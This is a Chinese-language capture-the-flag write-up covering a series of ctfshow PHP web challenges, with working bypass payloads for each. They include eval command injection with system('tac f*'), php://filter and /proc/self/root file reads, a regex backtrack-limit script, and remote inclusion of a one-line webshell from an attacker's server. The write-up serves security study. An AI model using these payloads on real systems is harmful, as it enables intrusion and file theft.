highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
利用了sha1弱类型比较,跟MD5加密是一样的
利用数组绕过或者弱类型绕过
payload
GET:v2[]=1
POST:v1[]=2
还有一些字符串
aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
如果是强类型转换
if(sha1($v1)===sha1($v2) && $v1!=$v2){
echo $flag;
}
使用数组绕过,v1[]=1&v2[]=2
但是还有一种,直接把数组过滤了
if(is_array($_GET['name']) || is_array($_GET['password']))
die('There is no way you can sneak me, young man!');
else if (sha1($_GET['name']) === sha1($_GET['password']))
echo $flag;
我们不能用数组了
还有一种payload
name=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
&password=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
首先审计代码,先读懂 k e y = key= key=value
$a='hello';
$$a='world';
echo $a.${
$a};
?>
输出helloworld
$$a,就等于变量$hello
如果GET输入a=b, k e y = key= key=value就是将 a = a= a=b
通过die($error)出flag
GET中不能出现error,POST不能出现flag
payload
GET:a=flag
POST:error=a
通过die($suces)出flag
payload
GET:suces=flag&flag=NULL
POST:不输入东西,所以为NULL
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
考点parse_str
官方文档:
parse_str — 将字符串解析成多个变量
parse_str(string $string, array &$result): void
如果 string 是 URL 传递入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
参数
string:输入的字符串。
result:如果设置了第二个变量 result, 变量将会以数组元素的形式存入到这个数组,作为替代。
没有返回值。
代码显示:
<?php
$a='p=123&q=456';
parse_str($a,$b);
echo $b['p'];
echo $b['q'];
?>
输出123,456
payload
GET:v3=1
POST:v1=flag=c4ca4238a0b923820dcc509a6f75849b
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
考点:ereg %00正则截断
首先解析正则表达式
^[a-zA-Z]+$,表示匹配除了所有的字母的所有字符,并且匹配一次或者多次
ereg函数,在匹配到后,会返回false
正则表达式在遇到%00截断后,只会匹配%00前的东西
payload
strrev:使字符串反转
intval:将变量值整数化
36d的十进制为877
c=a%00778
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
羽师傅的wp:
先来看下这个正则表达式/[a-zA-Z]+/
匹配至少有一个字母的字符串
我们使用内置类让new不报错
payload
payload:
v1=Exception();system('tac f*');//&v2=a
v1=ReflectionClass&v2=system('tac f*')
代码显示
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
考点:FilesystemIterator class
在php中使用FilesystemIterator迭代器来遍历文件目录
<?php
$a=new FilesystemIterator('.');//定义一个对象
while($a->valid()){
//判断文件指针是否到底了
echo $a->getFilename().PHP_EOL;//得到文件名字
$a->next();//指针移到下一位
}
?>
参考:https://www.php.net/manual/zh/class.filesystemiterator.php
就只需要调用对象的方法,就可以获得一些文件目录,文件创造的时间等
payload
根据代码,我们首先新建一个FilesystemIterator类来查看文件目录结构
()括号中需要传入文件路径,我们可以用.,./这些得到
但是过滤了,所以使用getcwd方法来得到当前目录
?v1=FilesystemIterator&v2=getcwd得到文件路径
然后直接访问:
http://33ba02ae-bd26-41af-ae23-1d1162338f75.challenge.ctf.show:8080/fl36dga.txt
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
考点:GLOBALS超全局变量的值。
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
$a=1;
$b=2;
var_dump($GLOBALS);
?>
输出
'GLOBALS' =>
&array
'a' =>
int(1)
'b' =>
int(2)
payload
?v1=ctfshow&v2=GLOBALS
代码
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
is_file():可以用来判断是否是一个正常的文件
is_file($filename):bool
首先代码审计,我们的目的是不能识别出是一个文件,然后通过filter的正则匹配,并且可以读取到文件
看到过滤了,data,input,想到了php伪协议filter
payload
?file=php://filter/resource=flag.php,直接读取文件
也可以使用编码来读取文件payload:file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
file=compress.zlib://flag.php
payload:file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
非预期解:file=compress.zlib://flag.php
预期解:
这个题过滤了filter,所以换种方法
我们多次使用/proc/self/root来绕过
参考文章:https://www.anquanke.com/post/id/213235
payload:
file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
payload
php://filter/resource=flag.php,这个就可以不用使用过滤器了。
代码
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}
需要绕过is_numeric和trim和filter函数自定义
trim函数介绍
语法
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
is_numeric函数介绍:
is_numeric — 检测变量是否为数字或数字字符串
说明
is_numeric(mixed $value): bool
检测指定的变量是否为数字或数字字符串。
参数
value
需要检测的变量。
返回值
如果 value 是数字或数字字符串, 返回 true;否则返回 false。
做个测试
验证is_numeric()
for ($i=0; $i <128 ; $i++) {
$x=chr($i).'1';
if(is_numeric($x)==true){
echo urlencode(chr($i))."\n";
}
}
输出:%09 %0A %0B %0C %0D %20 %2B + - .
验证trim函数
然后因为filter函数
payload
num=%0c36,%0c需要放在最前面
代码
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}
function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}
首先我们需要利用var_dump,但是check函数过滤了数字和字母
call_func_array()函数
将第一个参数作为回调函数,其余参数都作为函数来传进去
当开启了gettext()拓展后,我们使用gettext()
因此call_user_func('_','ctfshow')
返回的结果为ctfshow,接下来到第二层call_user_func
,我们使用get_defined_vars函数
get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
因为还有个call_func_array,需要函数,我们没法使用globals数组
$GLOBALS引用全局作用域中可用的全部变量(一定是全局变量)
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
例子1:
$foo in global scope: Example content
$foo in current scope: local variable
如果全局变量的foo没有,函数中$GLOBALS输出不了
代码
0){
echo readfile($f);
}
}
stripos()
查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
这道题就有多个姿势
目录遍历
./ctfshow/../../../../var/www/html/flag.php #./表示当前目录,具体多少个../需要自己慢慢尝试
/ctfshow/../var/www/html/flag.php # /表示表示根目录
远程文件包含
在自己的服务器上写一句话木马进行利用,url为你的服务器ip或者域名,xxxx.php为你写的一句话木马
CODE
复制成功?f=http://url/xxxx.php?ctfshow
php伪协议绕过
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
|ctfshow,表示多个过滤器,所以就可以绕过
代码
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}
echo $flag;
}
首先看preg_match,匹配所有字符,包括换行符
方法1:利用最大回溯
very应该考的是正则的最大回溯
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
利用python发包了
import requests
url = "http://48390078-c20a-4f56-8b4e-148df47485cb.chall.ctf.show:8080/"
data = {
'f': 'z3eyond'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)
方法2:
因为数组可以绕过preg_match
payload
f[]=$ctfshow
先/robots.txt,再/admin
代码
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
if($code == 'admin'){
echo $flag;
}
}
}
mt_rand是生成随机数
看个例子
if(false && false || true){
//也就是(flase || true)
echo 667;
}
//输出结果:667
所以,我们只需要满足username=admin,就可以绕过第一个if
第二个if,满足code=admin
payload
?username=admin&code=admin&password=1